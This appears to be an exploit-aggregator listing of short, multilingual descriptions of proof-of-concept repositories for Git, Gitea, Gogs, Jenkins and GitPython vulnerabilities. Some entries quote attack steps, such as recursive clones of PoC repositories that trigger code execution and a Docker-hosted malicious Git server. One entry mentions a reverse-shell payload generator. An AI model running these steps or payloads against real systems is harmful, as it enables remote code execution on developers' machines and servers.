cve-2024-10220-git-on-git

इस रिपॉजिटरी में README नहीं है।...

CVE-2024-32002

CVE-2024-32002 RCE PoC Panoramica Questo repository contiene una prova di concetto PoC per CVE-2024-32002, una vulnerabilità di esecuzione remota di codice RCE nei sottomoduli di Git. L'exploit dimostra come un payload dannoso può essere attivato tramite un clone ricorsivo di un repository Git...

CVE-2025-48384

Übersicht über CVE-2025-48384 CVE-2025-48384 ist eine kritische Schwachstelle in Git, dem weit verbreiteten verteilten Versionskontrollsystem. Sie betrifft die unsachgemäße Behandlung von Wagenrücklaufzeichen CR in Konfigurationswerten, was zu Path-Traversal-Problemen beim Auschecken von Submodul...

git_rce

CVE-2024-32002 PoC 1. Sie müssen die symbolische Link-Option von Git einrichten: root@kitploit: git config --global core.symlinks true 2. Nutzen Sie dann CVE-2024-32002 mit dem folgenden Befehl aus: root@kitploit: git clone --recursive https://github.com/EQSTSeminar/gitrce.git Angriffsszenario...

prefect-cve-2026-5366

PoC: CVE-2026-5366 - Iniezione di argomenti Git in Prefect GitRepository Vulnerabilità: iniezione di argomenti git che porta a RCE tramite commitsha più iniezione di argomenti tramite directories Versione: vulnerabile in 3.6.23, corretta in 3.6.25+ File: src/prefect/runner/storage.py Huntr:...

CVE-2020-27955

CVE-2020-27955 धन्यवाद https://medium.com/bugbountywriteup/git-lfs-exploit-for-remote-code-execution-cve-2020-27955-e8f4786163c3...

CVE-2018-11235-Git-Submodule-CE

CVE-2018-11235-Git-Submodule-CE CVE-2018-11235-Git PoC Pull da Docker docker pull qweraqq/cve-2018-11235-git-submodule-rce Avvia il server HTTP Git docker run -d -p 8080:80 qweraqq/cve-2018-11235-git-submodule-rce PoC git clone --recurse-submodules http://git.gitserver/malicious.git...

CVE-2026-52806

Gogs RCE — Iniezione di argomenti in git rebase CWE-88 Esecuzione remota di codice autenticata contro Gogs viene interpretato da Git come flag --exec anziché come argomento posizionale, causando l'esecuzione di sh -c dopo ogni commit replicato durante il rebase. Come funziona l'exploit 1...

CVE-2025-53652-Jenkins-Git-Parameter-Analysis

CVE-2025-53652: Vulnerabilità di input non convalidato nel plugin Jenkins Git Parameter. Riepilogo Questa vulnerabilità nasce perché l'input controllato dall'utente nei parametri di build di Jenkins viene iniettato in modo non sicuro nel comando Git checkout. L'input dell'utente viene fornito com...

CVE-2026-76219

A flaw was found in GitPython. This vulnerability allows an attacker to overwrite arbitrary files on the system. By injecting specific options into the git read-tree command through methods like IndexFile.fromtree, IndexFile.reset, and IndexFile.mergetree, without proper option validation or...

CVE-2026-76217

A flaw was found in GitPython where it fails to properly validate options provided to its git rm and git checkout commands. A remote attacker with low privileges could exploit this by supplying crafted parameters, such as --pathspec-from-file and --pathspec-file-nul. This vulnerability allows for...

CVE-2020-14144-GiTea-git-hooks-rce

CVE-2020-14144 - GiTea RCE autenticato Uno script per sfruttare CVE-2020-14144 - Esecuzione Remota di Codice autenticata in GiTea tramite git hooks Caratteristiche Generazione automatica del payload della reverse shell da IP e PORT Caricamento di uno script di shell personalizzato ed esecuzione...

aiodnsbrute

Async DNS Brute A Python 3.5+ tool that uses asyncio to brute force domain names asynchronously. Speed It's fast. Benchmarks on small VPS hosts put around 100k DNS resoultions at 1.5-2mins. An amazon M3 box was used to make 1 mil requests in just over 3 minutes. Your mileage may vary. It's probab...

CVE-2017-1000117

Il coso per avviare un server con CVE-2017-1000117 Esegui il seguente comando, poi avvia il browser web e prova ad accedere a http://localhost:8088! root@kitploit: $ git clone --recursive https://github.com/0gawa/CVE-2017-1000117 Hello World se compare, aggiorna git! È vulnerabile...

gogs

gogs Qui allestiremo il nostro laboratorio nella VM SEED Ubuntu 16.04 e dobbiamo installare il Go Git Service GOGS sulla nostra VM prima di poter sfruttare la vulnerabilità di SQL injection. Per configurare la VM, ecco i passaggi: Passo 1: Installare il Database Una volta effettuato l'accesso al...

cve-2025-48384-poc

PoC per CVE-2025-48384 Questa proof-of-concept dimostra la vulnerabilità di errata interpretazione del sottomodulo CR-path di Git, che porta all'esecuzione arbitraria di hook durante git clone --recurse-submodules. ⚠️ Avviso Questo è solo per scopi educativi e di test. Non eseguirlo in un ambiente...

git-all-secrets

git-all-secrets Sobre git-all-secrets é uma ferramenta que pode: Clonar múltiplos repositórios públicos/privados do GitHub de uma organização e escaneá-los, Clonar múltiplos repositórios públicos/privados do GitHub de um usuário que pertence a uma organização e escaneá-los, Clonar um único...

CVE-2024-10220-githooks

Test CVE-2024-10220 riferimento https://irsl.medium.com/sneaky-write-hook-git-clone-to-root-on-k8s-node-e38236205d54...

CVE-2024-32002

CVE-2024-32002 Ein einfacher Proof-of-Concept, der Calculator ausführt nur macOS-Beispiel. Wenn du den Befehl git clone --recursive verwendest, wird dieses Repository zusätzlich https://github.com/markuta/hooky abrufen, das ein post-checkout-Skript enthält. Hauptsächlich basierend auf der...

ghes-cve-scanner

Scanner CVE GHES Detecta se instâncias do GitHub Enterprise Server GHES são afetadas pelas CVE-2026-3854 e CVE-2026-4821. Contexto das CVEs CVE-2026-3854 CVSS 8.7 RCE via Git Push — O componente babeld não sanitiza ponto e vírgula nas opções de git push, permitindo execução remota de código...